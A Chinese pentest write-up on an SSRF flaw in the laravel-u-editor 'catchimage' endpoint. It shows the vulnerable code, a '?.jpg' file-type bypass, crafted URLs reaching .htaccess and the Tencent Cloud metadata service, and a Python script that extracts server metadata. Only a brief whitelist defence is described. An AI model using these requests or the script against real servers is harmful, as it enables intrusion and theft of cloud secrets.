測試實踐***f漏洞應用與防禦
概要
此次測試爲公司內部站點測試,測試出了衆多常見的xss、文件上傳、訂單邏輯漏洞。不過這裏只介紹一個f漏洞以作學習,這是一個大佬從代碼中發現的,我過來學習一下,同時做個總結。之所以總結這一個,或許是因爲從這個漏洞中學習的更多一些知識和技巧吧!同時加深一下對f的理解!
漏洞的詳細介紹
漏洞的原理:
F(Server-Side Request Forgery:服務器端請求僞造) 是一種由者構造形成由服務端發起請求的一個安全漏洞。一般情況下,F的目標是從外網無法訪問的內部系統。F 形成的原因大都是由於服務端提供了從其他服務器應用獲取數據的功能且沒有對目標地址做過濾與限制。比如從指定URL地址獲取網頁文本內容,加載指定地址的圖片,下載等等。(來自網絡中的總結)
這些原理網絡上有很多,就不再過多解釋了。我想詳細說一下這個漏洞造成的過程,和中利用的過程。
漏洞的發現
站點中引用了github上的一個編輯器的項目laravel-u-editor。UEditor 是由百度web前端研發部開發所見即所得富文本web編輯器。
代碼如下:
public function server(Request $request)
{
$config = config('UEditorUpload.upload');
$action = $request->get('action');
switch ($action) {
case 'config':
$result = $config;
break;
case 'uploadimage':
$upConfig = array(
"pathFormat" => $config['imagePathFormat'],
"maxSize" => $config['imageMaxSize'],
"allowFiles" => $config['imageAllowFiles'],
'fieldName' => $config['imageFieldName'],
);
$result = with(new UploadFile($upConfig, $request))->upload();
break;
......
case 'catchimage':
$upConfig = array(
"pathFormat" => $config['catcherPathFormat'],
"maxSize" => $config['catcherMaxSize'],
"allowFiles" => $config['catcherAllowFiles'],
"oriName" => "remote.png",
'fieldName' => $config['catcherFieldName'],
);
$sources = $request->get($upConfig['fieldName']);
$list = [];
foreach ($sources as $imgUrl) {
$upConfig['imgUrl'] = $imgUrl;
$info = with(new UploadCatch($upConfig, $request))->upload();
array_push($list, array(
"state" => $info["state"],
"url" => $info["url"],
"size" => $info["size"],
"title" => htmlspecialchars($info["title"]),
"original" => htmlspecialchars($info["original"]),
"source" => htmlspecialchars($imgUrl)
));
}
$result = [
'state' => count($list) ? 'SUCCESS' : 'ERROR',
'list' => $list
];
break;
}
通過代碼審計發現其中的一個參數$sources完全可以由自己控制。
$sources = $request->get($upConfig['fieldName']);
$source參數直接獲取請求中source參數傳遞的值。
並且,在判斷$sources傳遞過來的$imgUrl值的文件類型的時候,可以繞過。代碼如下
$fileType = strtolower(strrchr($imgUrl, '.'));
檢測url中“.”後面的後綴即爲文件類型,同時判斷是不是allowfiles中列舉文件類型。所以,完全可以通過?.jpg繞過這個文件類型的判斷,去讀取一些文件的內容。
漏洞的利用
簡單訪問一下.htaccess文件
構造請求url:
https://*/laravel-u-editor-server/server?action=catchimage&source[]=https://*/.htaccess?.jpg
先嚐試訪問
https://*/laravel-u-editor-server/server?action=catchimage&source[]=https://*/.htaccess
很明顯訪問不了內容。接下來訪問我們構造的url
然後訪問得到的圖片地址。這是便能夠看到文件的內容
切記要使用源碼的形式觀看。
利用小技巧:
因爲網站是使用騰訊雲搭建的,如果網站存在***f漏洞,完全可以通過騰訊雲給的服務器元數據的接口,獲得服務器的很多信息。元數據接口信息文檔內容:
https://cloud.tencent.com/document/product/213/4934#.E6.9F.A5.E8.AF.A2.E5.AE.9E.E4.BE.8B.E5.85.83.E6.95.B0.E6.8D.AE
查看一下所有類別的元數據
https://*/laravel-u-editor-server/server?action=catchimage&source[]=http://metadata.tencentyun.com/latest/meta-data/?.jpg
然後訪問圖片地址:
這是可以列出的所有元數據信息。我們可以試着獲取一下內網IP地址
想獲取更多的信息,腳本:
#!/usr/bin/python3
#coding=utf-8
import requests
import sys
'''
***f漏洞利用腳本
時間:2019-12-24
作者:yaunsky
作用:通過騰訊雲接口,獲取元數據
'''
#獲取元數據並輸出
def imgRequests():
#獲取騰訊雲接口的url
source = sys.argv[1]
imgurl = "https://*/laravel-u-editor-server/server?action=catchimage&source[]="+source+"?.jpg"
headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:71.0) Gecko/20100101 Firefox/71.0"}
req = requests.get(url=imgurl,headers=headers)
print(jpgRequests(req))
#獲取jpg文件的url
def jpgRequests(req):
jpgJson = req.json()
jpgInfo = requests.get(jpgJson['list'][0]['url'])
return jpgInfo.text
def main():
imgRequests()
if __name__ == "__main__":
main()
獲取服務器用戶名
獲取服務器公鑰
獲取真實ip
漏洞的防禦
此次使用的方法是設置url白名單。限制imgurl的獲取地址。同時修改文件驗證類型的源碼。
修改代碼:
簡單舉個例子
防禦後訪問之前的url。
結語
如今中小型企業大多數的都是使用的雲服務,如果遇到***f,不妨通過這個漏洞通過給定的api接口獲取一些有效的敏感信息。同時如果是企業用戶一定要防範好自己的網站,設定好白名單,不要讓非法分子鑽到空子!
文章僅做學習總結和交流!!!
如果出現“*”號表示平臺過濾,一般表示shentou和gongji!!!!